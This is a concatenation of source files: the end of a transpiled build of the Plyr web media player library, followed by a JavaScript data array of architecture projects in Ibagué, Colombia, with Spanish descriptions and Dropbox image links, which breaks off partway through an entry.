_this2.fullscreen.update();
}, true);
}
};
/**
* Returns a number whose value is limited to the given range.
*
* Example: limit the output of this computation to between 0 and 255
* (x * 255).clamp(0, 255)
*
* @param {Number} input
* @param {Number} min The lower boundary of the output range
* @param {Number} max The upper boundary of the output range
* @returns A number in the range [min, max]
* @type Number
*/
function clamp() {
var input = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
var min = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
var max = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 255;
return Math.min(Math.max(input, min), max);
}
// TODO: Use a WeakMap for private globals
// const globals = new WeakMap();
// Plyr instance
var Plyr = /*#__PURE__*/function () {
function Plyr(target, options) {
var _this = this;
_classCallCheck(this, Plyr);
_defineProperty(this, "play", function () {
if (!is$1.function(_this.media.play)) {
return null;
} // Intecept play with ads
if (_this.ads && _this.ads.enabled) {
_this.ads.managerPromise.then(function () {
return _this.ads.play();
}).catch(function () {
return silencePromise(_this.media.play());
});
} // Return the promise (for HTML5)
return _this.media.play();
});
_defineProperty(this, "pause", function () {
if (!_this.playing || !is$1.function(_this.media.pause)) {
return null;
}
return _this.media.pause();
});
_defineProperty(this, "togglePlay", function (input) {
// Toggle based on current state if nothing passed
var toggle = is$1.boolean(input) ? input : !_this.playing;
if (toggle) {
return _this.play();
}
return _this.pause();
});
_defineProperty(this, "stop", function () {
if (_this.isHTML5) {
_this.pause();
_this.restart();
} else if (is$1.function(_this.media.stop)) {
_this.media.stop();
}
});
_defineProperty(this, "restart", function () {
_this.currentTime = 0;
});
_defineProperty(this, "rewind", function (seekTime) {
_this.currentTime -= is$1.number(seekTime) ? seekTime : _this.config.seekTime;
});
_defineProperty(this, "forward", function (seekTime) {
_this.currentTime += is$1.number(seekTime) ? seekTime : _this.config.seekTime;
});
_defineProperty(this, "increaseVolume", function (step) {
var volume = _this.media.muted ? 0 : _this.volume;
_this.volume = volume + (is$1.number(step) ? step : 0);
});
_defineProperty(this, "decreaseVolume", function (step) {
_this.increaseVolume(-step);
});
_defineProperty(this, "airplay", function () {
// Show dialog if supported
if (support.airplay) {
_this.media.webkitShowPlaybackTargetPicker();
}
});
_defineProperty(this, "toggleControls", function (toggle) {
// Don't toggle if missing UI support or if it's audio
if (_this.supported.ui && !_this.isAudio) {
// Get state before change
var isHidden = hasClass(_this.elements.container, _this.config.classNames.hideControls); // Negate the argument if not undefined since adding the class to hides the controls
var force = typeof toggle === 'undefined' ? undefined : !toggle; // Apply and get updated state
var hiding = toggleClass(_this.elements.container, _this.config.classNames.hideControls, force); // Close menu
if (hiding && is$1.array(_this.config.controls) && _this.config.controls.includes('settings') && !is$1.empty(_this.config.settings)) {
controls.toggleMenu.call(_this, false);
} // Trigger event on change
if (hiding !== isHidden) {
var eventName = hiding ? 'controlshidden' : 'controlsshown';
triggerEvent.call(_this, _this.media, eventName);
}
return !hiding;
}
return false;
});
_defineProperty(this, "on", function (event, callback) {
on.call(_this, _this.elements.container, event, callback);
});
_defineProperty(this, "once", function (event, callback) {
once.call(_this, _this.elements.container, event, callback);
});
_defineProperty(this, "off", function (event, callback) {
off(_this.elements.container, event, callback);
});
_defineProperty(this, "destroy", function (callback) {
var soft = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
if (!_this.ready) {
return;
}
var done = function done() {
// Reset overflow (incase destroyed while in fullscreen)
document.body.style.overflow = ''; // GC for embed
_this.embed = null; // If it's a soft destroy, make minimal changes
if (soft) {
if (Object.keys(_this.elements).length) {
// Remove elements
removeElement(_this.elements.buttons.play);
removeElement(_this.elements.captions);
removeElement(_this.elements.controls);
removeElement(_this.elements.wrapper); // Clear for GC
_this.elements.buttons.play = null;
_this.elements.captions = null;
_this.elements.controls = null;
_this.elements.wrapper = null;
} // Callback
if (is$1.function(callback)) {
callback();
}
} else {
// Unbind listeners
unbindListeners.call(_this); // Cancel current network requests
html5.cancelRequests.call(_this); // Replace the container with the original element provided
replaceElement(_this.elements.original, _this.elements.container); // Event
triggerEvent.call(_this, _this.elements.original, 'destroyed', true); // Callback
if (is$1.function(callback)) {
callback.call(_this.elements.original);
} // Reset state
_this.ready = false; // Clear for garbage collection
setTimeout(function () {
_this.elements = null;
_this.media = null;
}, 200);
}
}; // Stop playback
_this.stop(); // Clear timeouts
clearTimeout(_this.timers.loading);
clearTimeout(_this.timers.controls);
clearTimeout(_this.timers.resized); // Provider specific stuff
if (_this.isHTML5) {
// Restore native video controls
ui.toggleNativeControls.call(_this, true); // Clean up
done();
} else if (_this.isYouTube) {
// Clear timers
clearInterval(_this.timers.buffering);
clearInterval(_this.timers.playing); // Destroy YouTube API
if (_this.embed !== null && is$1.function(_this.embed.destroy)) {
_this.embed.destroy();
} // Clean up
done();
} else if (_this.isVimeo) {
// Destroy Vimeo API
// then clean up (wait, to prevent postmessage errors)
if (_this.embed !== null) {
_this.embed.unload().then(done);
} // Vimeo does not always return
setTimeout(done, 200);
}
});
_defineProperty(this, "supports", function (type) {
return support.mime.call(_this, type);
});
this.timers = {}; // State
this.ready = false;
this.loading = false;
this.failed = false; // Touch device
this.touch = support.touch; // Set the media element
this.media = target; // String selector passed
if (is$1.string(this.media)) {
this.media = document.querySelectorAll(this.media);
} // jQuery, NodeList or Array passed, use first element
if (window.jQuery && this.media instanceof jQuery || is$1.nodeList(this.media) || is$1.array(this.media)) {
// eslint-disable-next-line
this.media = this.media[0];
} // Set config
this.config = extend({}, defaults$1, Plyr.defaults, options || {}, function () {
try {
return JSON.parse(_this.media.getAttribute('data-plyr-config'));
} catch (e) {
return {};
}
}()); // Elements cache
this.elements = {
container: null,
fullscreen: null,
captions: null,
buttons: {},
display: {},
progress: {},
inputs: {},
settings: {
popup: null,
menu: null,
panels: {},
buttons: {}
}
}; // Captions
this.captions = {
active: null,
currentTrack: -1,
meta: new WeakMap()
}; // Fullscreen
this.fullscreen = {
active: false
}; // Options
this.options = {
speed: [],
quality: []
}; // Debugging
// TODO: move to globals
this.debug = new Console(this.config.debug); // Log config options and support
this.debug.log('Config', this.config);
this.debug.log('Support', support); // We need an element to setup
if (is$1.nullOrUndefined(this.media) || !is$1.element(this.media)) {
this.debug.error('Setup failed: no suitable element passed');
return;
} // Bail if the element is initialized
if (this.media.plyr) {
this.debug.warn('Target already setup');
return;
} // Bail if not enabled
if (!this.config.enabled) {
this.debug.error('Setup failed: disabled by config');
return;
} // Bail if disabled or no basic support
// You may want to disable certain UAs etc
if (!support.check().api) {
this.debug.error('Setup failed: no support');
return;
} // Cache original element state for .destroy()
var clone = this.media.cloneNode(true);
clone.autoplay = false;
this.elements.original = clone; // Set media type based on tag or data attribute
// Supported: video, audio, vimeo, youtube
var _type = this.media.tagName.toLowerCase(); // Embed properties
var iframe = null;
var url = null; // Different setup based on type
switch (_type) {
case 'div':
// Find the frame
iframe = this.media.querySelector('iframe'); // <iframe> type
if (is$1.element(iframe)) {
// Detect provider
url = parseUrl(iframe.getAttribute('src'));
this.provider = getProviderByUrl(url.toString()); // Rework elements
this.elements.container = this.media;
this.media = iframe; // Reset classname
this.elements.container.className = ''; // Get attributes from URL and set config
if (url.search.length) {
var truthy = ['1', 'true'];
if (truthy.includes(url.searchParams.get('autoplay'))) {
this.config.autoplay = true;
}
if (truthy.includes(url.searchParams.get('loop'))) {
this.config.loop.active = true;
} // TODO: replace fullscreen.iosNative with this playsinline config option
// YouTube requires the playsinline in the URL
if (this.isYouTube) {
this.config.playsinline = truthy.includes(url.searchParams.get('playsinline'));
this.config.youtube.hl = url.searchParams.get('hl'); // TODO: Should this be setting language?
} else {
this.config.playsinline = true;
}
}
} else {
// <div> with attributes
this.provider = this.media.getAttribute(this.config.attributes.embed.provider); // Remove attribute
this.media.removeAttribute(this.config.attributes.embed.provider);
} // Unsupported or missing provider
if (is$1.empty(this.provider) || !Object.values(providers).includes(this.provider)) {
this.debug.error('Setup failed: Invalid provider');
return;
} // Audio will come later for external providers
this.type = types.video;
break;
case 'video':
case 'audio':
this.type = _type;
this.provider = providers.html5; // Get config from attributes
if (this.media.hasAttribute('crossorigin')) {
this.config.crossorigin = true;
}
if (this.media.hasAttribute('autoplay')) {
this.config.autoplay = true;
}
if (this.media.hasAttribute('playsinline') || this.media.hasAttribute('webkit-playsinline')) {
this.config.playsinline = true;
}
if (this.media.hasAttribute('muted')) {
this.config.muted = true;
}
if (this.media.hasAttribute('loop')) {
this.config.loop.active = true;
}
break;
default:
this.debug.error('Setup failed: unsupported type');
return;
} // Check for support again but with type
this.supported = support.check(this.type, this.provider, this.config.playsinline); // If no support for even API, bail
if (!this.supported.api) {
this.debug.error('Setup failed: no support');
return;
}
this.eventListeners = []; // Create listeners
this.listeners = new Listeners(this); // Setup local storage for user settings
this.storage = new Storage(this); // Store reference
this.media.plyr = this; // Wrap media
if (!is$1.element(this.elements.container)) {
this.elements.container = createElement('div', {
tabindex: 0
});
wrap$1(this.media, this.elements.container);
} // Migrate custom properties from media to container (so they work 😉)
ui.migrateStyles.call(this); // Add style hook
ui.addStyleHook.call(this); // Setup media
media.setup.call(this); // Listen for events if debugging
if (this.config.debug) {
on.call(this, this.elements.container, this.config.events.join(' '), function (event) {
_this.debug.log("event: ".concat(event.type));
});
} // Setup fullscreen
this.fullscreen = new Fullscreen(this); // Setup interface
// If embed but not fully supported, build interface now to avoid flash of controls
if (this.isHTML5 || this.isEmbed && !this.supported.ui) {
ui.build.call(this);
} // Container listeners
this.listeners.container(); // Global listeners
this.listeners.global(); // Setup ads if provided
if (this.config.ads.enabled) {
this.ads = new Ads(this);
} // Autoplay if required
if (this.isHTML5 && this.config.autoplay) {
this.once('canplay', function () {
return silencePromise(_this.play());
});
} // Seek time will be recorded (in listeners.js) so we can prevent hiding controls for a few seconds after seek
this.lastSeekTime = 0; // Setup preview thumbnails if enabled
if (this.config.previewThumbnails.enabled) {
this.previewThumbnails = new PreviewThumbnails(this);
}
} // ---------------------------------------
// API
// ---------------------------------------
/**
* Types and provider helpers
*/
_createClass(Plyr, [{
key: "toggleCaptions",
/**
* Toggle captions
* @param {Boolean} input - Whether to enable captions
*/
value: function toggleCaptions(input) {
captions.toggle.call(this, input, false);
}
/**
* Set the caption track by index
* @param {Number} - Caption index
*/
}, {
key: "isHTML5",
get: function get() {
return this.provider === providers.html5;
}
}, {
key: "isEmbed",
get: function get() {
return this.isYouTube || this.isVimeo;
}
}, {
key: "isYouTube",
get: function get() {
return this.provider === providers.youtube;
}
}, {
key: "isVimeo",
get: function get() {
return this.provider === providers.vimeo;
}
}, {
key: "isVideo",
get: function get() {
return this.type === types.video;
}
}, {
key: "isAudio",
get: function get() {
return this.type === types.audio;
}
/**
* Play the media, or play the advertisement (if they are not blocked)
*/
}, {
key: "playing",
/**
* Get playing state
*/
get: function get() {
return Boolean(this.ready && !this.paused && !this.ended);
}
/**
* Get paused state
*/
}, {
key: "paused",
get: function get() {
return Boolean(this.media.paused);
}
/**
* Get stopped state
*/
}, {
key: "stopped",
get: function get() {
return Boolean(this.paused && this.currentTime === 0);
}
/**
* Get ended state
*/
}, {
key: "ended",
get: function get() {
return Boolean(this.media.ended);
}
/**
* Toggle playback based on current status
* @param {Boolean} input
*/
}, {
key: "currentTime",
/**
* Seek to a time
* @param {Number} input - where to seek to in seconds. Defaults to 0 (the start)
*/
set: function set(input) {
// Bail if media duration isn't available yet
if (!this.duration) {
return;
} // Validate input
var inputIsValid = is$1.number(input) && input > 0; // Set
this.media.currentTime = inputIsValid ? Math.min(input, this.duration) : 0; // Logging
this.debug.log("Seeking to ".concat(this.currentTime, " seconds"));
}
/**
* Get current time
*/
,
get: function get() {
return Number(this.media.currentTime);
}
/**
* Get buffered
*/
}, {
key: "buffered",
get: function get() {
var buffered = this.media.buffered; // YouTube / Vimeo return a float between 0-1
if (is$1.number(buffered)) {
return buffered;
} // HTML5
// TODO: Handle buffered chunks of the media
// (i.e. seek to another section buffers only that section)
if (buffered && buffered.length && this.duration > 0) {
return buffered.end(0) / this.duration;
}
return 0;
}
/**
* Get seeking status
*/
}, {
key: "seeking",
get: function get() {
return Boolean(this.media.seeking);
}
/**
* Get the duration of the current media
*/
}, {
key: "duration",
get: function get() {
// Faux duration set via config
var fauxDuration = parseFloat(this.config.duration); // Media duration can be NaN or Infinity before the media has loaded
var realDuration = (this.media || {}).duration;
var duration = !is$1.number(realDuration) || realDuration === Infinity ? 0 : realDuration; // If config duration is funky, use regular duration
return fauxDuration || duration;
}
/**
* Set the player volume
* @param {Number} value - must be between 0 and 1. Defaults to the value from local storage and config.volume if not set in storage
*/
}, {
key: "volume",
set: function set(value) {
var volume = value;
var max = 1;
var min = 0;
if (is$1.string(volume)) {
volume = Number(volume);
} // Load volume from storage if no value specified
if (!is$1.number(volume)) {
volume = this.storage.get('volume');
} // Use config if all else fails
if (!is$1.number(volume)) {
volume = this.config.volume;
} // Maximum is volumeMax
if (volume > max) {
volume = max;
} // Minimum is volumeMin
if (volume < min) {
volume = min;
} // Update config
this.config.volume = volume; // Set the player volume
this.media.volume = volume; // If muted, and we're increasing volume manually, reset muted state
if (!is$1.empty(value) && this.muted && volume > 0) {
this.muted = false;
}
}
/**
* Get the current player volume
*/
,
get: function get() {
return Number(this.media.volume);
}
/**
* Increase volume
* @param {Boolean} step - How much to decrease by (between 0 and 1)
*/
}, {
key: "muted",
/**
* Set muted state
* @param {Boolean} mute
*/
set: function set(mute) {
var toggle = mute; // Load muted state from storage
if (!is$1.boolean(toggle)) {
toggle = this.storage.get('muted');
} // Use config if all else fails
if (!is$1.boolean(toggle)) {
toggle = this.config.muted;
} // Update config
this.config.muted = toggle; // Set mute on the player
this.media.muted = toggle;
}
/**
* Get current muted state
*/
,
get: function get() {
return Boolean(this.media.muted);
}
/**
* Check if the media has audio
*/
}, {
key: "hasAudio",
get: function get() {
// Assume yes for all non HTML5 (as we can't tell...)
if (!this.isHTML5) {
return true;
}
if (this.isAudio) {
return true;
} // Get audio tracks
return Boolean(this.media.mozHasAudio) || Boolean(this.media.webkitAudioDecodedByteCount) || Boolean(this.media.audioTracks && this.media.audioTracks.length);
}
/**
* Set playback speed
* @param {Number} speed - the speed of playback (0.5-2.0)
*/
}, {
key: "speed",
set: function set(input) {
var _this2 = this;
var speed = null;
if (is$1.number(input)) {
speed = input;
}
if (!is$1.number(speed)) {
speed = this.storage.get('speed');
}
if (!is$1.number(speed)) {
speed = this.config.speed.selected;
} // Clamp to min/max
var min = this.minimumSpeed,
max = this.maximumSpeed;
speed = clamp(speed, min, max); // Update config
this.config.speed.selected = speed; // Set media speed
setTimeout(function () {
_this2.media.playbackRate = speed;
}, 0);
}
/**
* Get current playback speed
*/
,
get: function get() {
return Number(this.media.playbackRate);
}
/**
* Get the minimum allowed speed
*/
}, {
key: "minimumSpeed",
get: function get() {
if (this.isYouTube) {
// https://developers.google.com/youtube/iframe_api_reference#setPlaybackRate
return Math.min.apply(Math, _toConsumableArray(this.options.speed));
}
if (this.isVimeo) {
// https://github.com/vimeo/player.js/#setplaybackrateplaybackrate-number-promisenumber-rangeerrorerror
return 0.5;
} // https://stackoverflow.com/a/32320020/1191319
return 0.0625;
}
/**
* Get the maximum allowed speed
*/
}, {
key: "maximumSpeed",
get: function get() {
if (this.isYouTube) {
// https://developers.google.com/youtube/iframe_api_reference#setPlaybackRate
return Math.max.apply(Math, _toConsumableArray(this.options.speed));
}
if (this.isVimeo) {
// https://github.com/vimeo/player.js/#setplaybackrateplaybackrate-number-promisenumber-rangeerrorerror
return 2;
} // https://stackoverflow.com/a/32320020/1191319
return 16;
}
/**
* Set playback quality
* Currently HTML5 & YouTube only
* @param {Number} input - Quality level
*/
}, {
key: "quality",
set: function set(input) {
var config = this.config.quality;
var options = this.options.quality;
if (!options.length) {
return;
}
var quality = [!is$1.empty(input) && Number(input), this.storage.get('quality'), config.selected, config.default].find(is$1.number);
var updateStorage = true;
if (!options.includes(quality)) {
var value = closest$1(options, quality);
this.debug.warn("Unsupported quality option: ".concat(quality, ", using ").concat(value, " instead"));
quality = value; // Don't update storage if quality is not supported
updateStorage = false;
} // Update config
config.selected = quality; // Set quality
this.media.quality = quality; // Save to storage
if (updateStorage) {
this.storage.set({
quality: quality
});
}
}
/**
* Get current quality level
*/
,
get: function get() {
return this.media.quality;
}
/**
* Toggle loop
* TODO: Finish fancy new logic. Set the indicator on load as user may pass loop as config
* @param {Boolean} input - Whether to loop or not
*/
}, {
key: "loop",
set: function set(input) {
var toggle = is$1.boolean(input) ? input : this.config.loop.active;
this.config.loop.active = toggle;
this.media.loop = toggle; // Set default to be a true toggle
/* const type = ['start', 'end', 'all', 'none', 'toggle'].includes(input) ? input : 'toggle';
switch (type) {
case 'start':
if (this.config.loop.end && this.config.loop.end <= this.currentTime) {
this.config.loop.end = null;
}
this.config.loop.start = this.currentTime;
// this.config.loop.indicator.start = this.elements.display.played.value;
break;
case 'end':
if (this.config.loop.start >= this.currentTime) {
return this;
}
this.config.loop.end = this.currentTime;
// this.config.loop.indicator.end = this.elements.display.played.value;
break;
case 'all':
this.config.loop.start = 0;
this.config.loop.end = this.duration - 2;
this.config.loop.indicator.start = 0;
this.config.loop.indicator.end = 100;
break;
case 'toggle':
if (this.config.loop.active) {
this.config.loop.start = 0;
this.config.loop.end = null;
} else {
this.config.loop.start = 0;
this.config.loop.end = this.duration - 2;
}
break;
default:
this.config.loop.start = 0;
this.config.loop.end = null;
break;
} */
}
/**
* Get current loop state
*/
,
get: function get() {
return Boolean(this.media.loop);
}
/**
* Set new media source
* @param {Object} input - The new source object (see docs)
*/
}, {
key: "source",
set: function set(input) {
source.change.call(this, input);
}
/**
* Get current source
*/
,
get: function get() {
return this.media.currentSrc;
}
/**
* Get a download URL (either source or custom)
*/
}, {
key: "download",
get: function get() {
var download = this.config.urls.download;
return is$1.url(download) ? download : this.source;
}
/**
* Set the download URL
*/
,
set: function set(input) {
if (!is$1.url(input)) {
return;
}
this.config.urls.download = input;
controls.setDownloadUrl.call(this);
}
/**
* Set the poster image for a video
* @param {String} input - the URL for the new poster image
*/
}, {
key: "poster",
set: function set(input) {
if (!this.isVideo) {
this.debug.warn('Poster can only be set for video');
return;
}
ui.setPoster.call(this, input, false).catch(function () {});
}
/**
* Get the current poster image
*/
,
get: function get() {
if (!this.isVideo) {
return null;
}
return this.media.getAttribute('poster') || this.media.getAttribute('data-poster');
}
/**
* Get the current aspect ratio in use
*/
}, {
key: "ratio",
get: function get() {
if (!this.isVideo) {
return null;
}
var ratio = reduceAspectRatio(getAspectRatio.call(this));
return is$1.array(ratio) ? ratio.join(':') : ratio;
}
/**
* Set video aspect ratio
*/
,
set: function set(input) {
if (!this.isVideo) {
this.debug.warn('Aspect ratio can only be set for video');
return;
}
if (!is$1.string(input) || !validateRatio(input)) {
this.debug.error("Invalid aspect ratio specified (".concat(input, ")"));
return;
}
this.config.ratio = input;
setAspectRatio.call(this);
}
/**
* Set the autoplay state
* @param {Boolean} input - Whether to autoplay or not
*/
}, {
key: "autoplay",
set: function set(input) {
var toggle = is$1.boolean(input) ? input : this.config.autoplay;
this.config.autoplay = toggle;
}
/**
* Get the current autoplay state
*/
,
get: function get() {
return Boolean(this.config.autoplay);
}
}, {
key: "currentTrack",
set: function set(input) {
captions.set.call(this, input, false);
}
/**
* Get the current caption track index (-1 if disabled)
*/
,
get: function get() {
var _this$captions = this.captions,
toggled = _this$captions.toggled,
currentTrack = _this$captions.currentTrack;
return toggled ? currentTrack : -1;
}
/**
* Set the wanted language for captions
* Since tracks can be added later it won't update the actual caption track until there is a matching track
* @param {String} - Two character ISO language code (e.g. EN, FR, PT, etc)
*/
}, {
key: "language",
set: function set(input) {
captions.setLanguage.call(this, input, false);
}
/**
* Get the current track's language
*/
,
get: function get() {
return (captions.getCurrentTrack.call(this) || {}).language;
}
/**
* Toggle picture-in-picture playback on WebKit/MacOS
* TODO: update player with state, support, enabled
* TODO: detect outside changes
*/
}, {
key: "pip",
set: function set(input) {
// Bail if no support
if (!support.pip) {
return;
} // Toggle based on current state if not passed
var toggle = is$1.boolean(input) ? input : !this.pip; // Toggle based on current state
// Safari
if (is$1.function(this.media.webkitSetPresentationMode)) {
this.media.webkitSetPresentationMode(toggle ? pip.active : pip.inactive);
} // Chrome
if (is$1.function(this.media.requestPictureInPicture)) {
if (!this.pip && toggle) {
this.media.requestPictureInPicture();
} else if (this.pip && !toggle) {
document.exitPictureInPicture();
}
}
}
/**
* Get the current picture-in-picture state
*/
,
get: function get() {
if (!support.pip) {
return null;
} // Safari
if (!is$1.empty(this.media.webkitPresentationMode)) {
return this.media.webkitPresentationMode === pip.active;
} // Chrome
return this.media === document.pictureInPictureElement;
}
/**
* Trigger the airplay dialog
* TODO: update player with state, support, enabled
*/
}], [{
key: "supported",
/**
* Check for support
* @param {String} type - Player type (audio/video)
* @param {String} provider - Provider (html5/youtube/vimeo)
* @param {Boolean} inline - Where player has `playsinline` sttribute
*/
value: function supported(type, provider, inline) {
return support.check(type, provider, inline);
}
/**
* Load an SVG sprite into the page
* @param {String} url - URL for the SVG sprite
* @param {String} [id] - Unique ID
*/
}, {
key: "loadSprite",
value: function loadSprite$1(url, id) {
return loadSprite(url, id);
}
/**
* Setup multiple instances
* @param {*} selector
* @param {Object} options
*/
}, {
key: "setup",
value: function setup(selector) {
var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
var targets = null;
if (is$1.string(selector)) {
targets = Array.from(document.querySelectorAll(selector));
} else if (is$1.nodeList(selector)) {
targets = Array.from(selector);
} else if (is$1.array(selector)) {
targets = selector.filter(is$1.element);
}
if (is$1.empty(targets)) {
return null;
}
return targets.map(function (t) {
return new Plyr(t, options);
});
}
}]);
return Plyr;
}();
Plyr.defaults = cloneDeep(defaults$1);
// ==========================================================================
return Plyr;
})));
|
/**
* Created by luisfvargas on 26/08/16.
*/
var proyectos = [
{
id: "proyecto1",
nombre:"Casa Osorio",
descripcion:"Descripción1",
tipo:"casa",
escala:"1000",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/azwhrv264kl8as0/1.jpg?raw=1",
]
},
{
id: "proyecto2",
nombre:"Filadelfia",
descripcion:"Conjunto Cerrado en medio de la naturaleza y a tres (3) minutos del Club Campestre de Ibagué. El conjunto consta de lotes esquineros y medianeros para construir casas como la presenta la constructora; cada lote se entrega con planos en medio magnético para construir una casa tipo 1 ó Tipo 2 (Normas año 2007) de acuerdo a la ubicación de dicho lote cada propietario con el profesional que contraten para la construcción y diseño de la casa deben ajustarse a la normativa actual; las licencias y demás trámites y el total de los costos van por cuenta del comprador. Lotes con área privada individual desde 180 M2. EL CONJUNTO CONSTA DE: Cancha de tenis, Cancha de squash, Cuarto de basuras, Portería principal, Parqueadero de visitantes, Vías en adoquín y concreto, Piscina adultos y piscina niños, Jacuzzi, sauna, espacio para gimnasio, Amplias zonas verdes, juegos infantiles, Salón comunal de dos plantas, vestier y terraza, Conexión de alcantarillado y senderos peatonales, Alumbrado público decorativo con ductería subterránea, Planta de emergencia para alumbrado de las zonas comunes, Red de gas y listo para conexión a la red de gas natural por cuenta del cliente, Redes eléctricas, telefónicas, de citofonía son subterráneas, excepto la subestación. Ficha técnica: Período de Construcción: 2008 -2011 Tipo de Obra: Lotes para construir Casas Aisladas, Locales Comerciales Área Total Construida: 17.341.99 m2 Ubicación: Sector Aparco Cra 20 Sur No. 107A 12, Ibagué, Colombia",
tipo:"urbanismo",
escala:"15000",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/bh44r5b8yfdhi0l/1.jpg?raw=1",
"https://www.dropbox.com/s/yb5322bwxmxqcz6/2.jpg?raw=1",
"https://www.dropbox.com/s/i9mtlkp0wsxes6f/3.jpg?raw=1",
"https://www.dropbox.com/s/v03hs2g37vwgm6n/4.jpg?raw=1",
"https://www.dropbox.com/s/qc9wa1pwf5yvqpu/5.jpg?raw=1",
"https://www.dropbox.com/s/rs52drxtob12u68/6.png?raw=1",
"https://www.dropbox.com/s/sbirk6ascsbmn0o/7.png?raw=1"
]
},
{
id: "proyecto3",
nombre:"Florida III",
descripcion:"Descripción3",
tipo:"urbanismo",
escala:"400",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/0i9keq5e4j4b4gq/1.jpg?raw=1",
"https://www.dropbox.com/s/iw1f7nc553hgare/2.jpg?raw=1",
"https://www.dropbox.com/s/epf9q6ufrl1irsu/3.jpg?raw=1",
"https://www.dropbox.com/s/x575j71jkxvp8e3/4.jpg?raw=1",
"https://www.dropbox.com/s/tk23sseoihb2z7u/5.jpg?raw=1",
"https://www.dropbox.com/s/c8x4tpauwbqs274/6.jpg?raw=1",
"https://www.dropbox.com/s/c8x4tpauwbqs274/6.jpg?raw=1",
]
},
{
id: "proyecto4",
nombre:"Golf club",
descripcion:"Descripción1",
tipo:"urbanismo",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/rc4e8x0mid44lle/1.jpg?raw=1",
"https://www.dropbox.com/s/3ouno2trit83tb0/2.png?raw=1",
"https://www.dropbox.com/s/2yquculyhi6f17b/3.png?raw=1",
"https://www.dropbox.com/s/dr5nkgu50oh13wi/4.jpg?raw=1",
"https://www.dropbox.com/s/phbn0zhuvc02imu/5.png?raw=1",
"https://www.dropbox.com/s/0lpnoh0k7x61nbg/6.png?raw=1",
]
},
{
id: "proyecto5",
nombre:"RFP Medical",
descripcion:" consectetur nulla libero eget turpis. Sed et malesuada nisl, ac rutrum lacus. Aenean sagittis, nisi non mollis luctus, velit ipsum imperdiet enim, eu pulvinar nisl tortor a est. Ut luctus et est a congue. Aenean sollicitudin ante sed nulla porttitor porta. Nunc bibendum tempor urna, eu dignissim m",
tipo:"equipamiento",
escala:"500",
estado:"idea",
imagenes:[
"https://www.dropbox.com/s/d9bnt3o5we6u38u/1.jpg?raw=1",
"https://www.dropbox.com/s/9ngpw2gvwfrkn23/2.jpg?raw=1",
"https://www.dropbox.com/s/72vcg4h62itnqu5/3.jpg?raw=1",
"https://www.dropbox.com/s/7ke60200b82p6mg/4.jpg?raw=1",
"https://www.dropbox.com/s/w5ugmpf315mwbyl/5.jpg?raw=1",
"https://www.dropbox.com/s/blz4ug5zs91nkvp/6.jpg?raw=1",
"https://www.dropbox.com/s/lbbvj3w4jdogq6o/7.jpg?raw=1",
"https://www.dropbox.com/s/g5gtlbsulfjsfie/8.jpg?raw=1",
"https://www.dropbox.com/s/l2j5y3jd5myugnn/9.jpg?raw=1",
]
},
{
id: "proyecto6",
nombre:"RFP Torre cll 60",
descripcion:"Descripción3",
tipo:"edificio",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/okhcf1wn8mxi7ry/1.jpg?raw=1",
"https://www.dropbox.com/s/hkw1f09byb0w2pq/2.jpg?raw=1",
]
},
{
id: "proyecto7",
nombre:"Casa Alvarado",
descripcion:"Descripción3",
tipo:"casa",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/xgt0n1ah3drm4b5/1.bmp?raw=1",
"https://www.dropbox.com/s/4uw81m6mwk1fk7h/2.bmp?raw=1",
"https://www.dropbox.com/s/nhhq1xd5ks6stfg/3.bmp?raw=1",
"https://www.dropbox.com/s/3336fashbyvhjjz/4.bmp?raw=1",
"https://www.dropbox.com/s/ym4fjlpqrbng68r/5.bmp?raw=1",
"https://www.dropbox.com/s/ij9sdcg52otlybc/7.bmp?raw=1",
]
},
{
id: "proyecto8",
nombre:"Plazoleta Daría Echandía",
descripcion:"Descripción3",
tipo:"urbanismo",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/m3oclncdpb8fb2p/Captura%20de%20pantalla%20%28202%29.png?raw=1",
]
},
{
id: "proyecto9",
nombre:"Casa Fajardo(Golf Club)",
descripcion:"Descripción3",
tipo:"casa",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/qfkgkb18ctne9xa/1.bmp?raw=1",
"https://www.dropbox.com/s/bf77s7bbk11626n/2.bmp?raw=1",
"https://www.dropbox.com/s/tj1pzmtcot0j0cd/lateral%20der%201.bmp?raw=1",
"https://www.dropbox.com/s/4orm7fds2ucoxa6/lateral%20izq%201.bmp?raw=1",
"https://www.dropbox.com/s/n7y0wpsifib4711/posterior%201.bmp?raw=1",
"https://www.dropbox.com/s/c8zs0ntqmenbff6/principal%201.bmp?raw=1",
]
},
{
id: "proyecto10",
nombre:"Arte 6",
descripcion:"Descripción3",
tipo:"edificio",
escala:"500",
estado:"construcción",
imagenes:[
"https://www.dropbox.com/s/nsatarqjhftkx2t/5.png?raw=1" +
"",
"https://www.dropbox.com/s/1gbgsplrtrfk5zv/DUPLEX%20TIPO%201.png?raw=1" +
"",
"https://www.dropbox.com/s/julju8q4kww9uzu/DUPLEX%20TIPO%202.png?raw=1" +
"",
"https://www.dropbox.com/s/yf5e9v9rvb7xf01/DUPLEX%20TIPO%203.png?raw=1" +
"",
"https://www.dropbox.com/s/lkbbc7ec6sxhaks/portada%20brochure%20completo%204.png?raw=1" +
"",
"https://www.dropbox.com/s/s3my5rx89ct4uf6/portada%20brochure%20completo%205.png?raw=1" +
"",
"https://www.dropbox.com/s/8mvdtu4r7it7ast/portada%20brochure%20completo%206.png?raw=1" +
"",
"https://www.dropbox.com/s/kobxwhf5v9s0n0o/portada%20brochure%20completo%207.png?raw=1" +
"",
"https://www.dropbox.com/s/3naa3mscw9t6y73/portada%20brochure%20completo.png?raw=1" +
"",
"https://www.dropbox.com/s/m5q7xzqnw0nebgh/SIMPLEX%20TIPO%201.png?raw=1" +
"",
"https://www.dropbox.com/s/iit6e7kmar2md95/SIMPLEX%20TIPO%202.png?raw=1" +
"",
]
},
{
id: "proyecto11",
nombre:"Casa Romero",
descripcion:"Descripción3",
tipo:"casa",
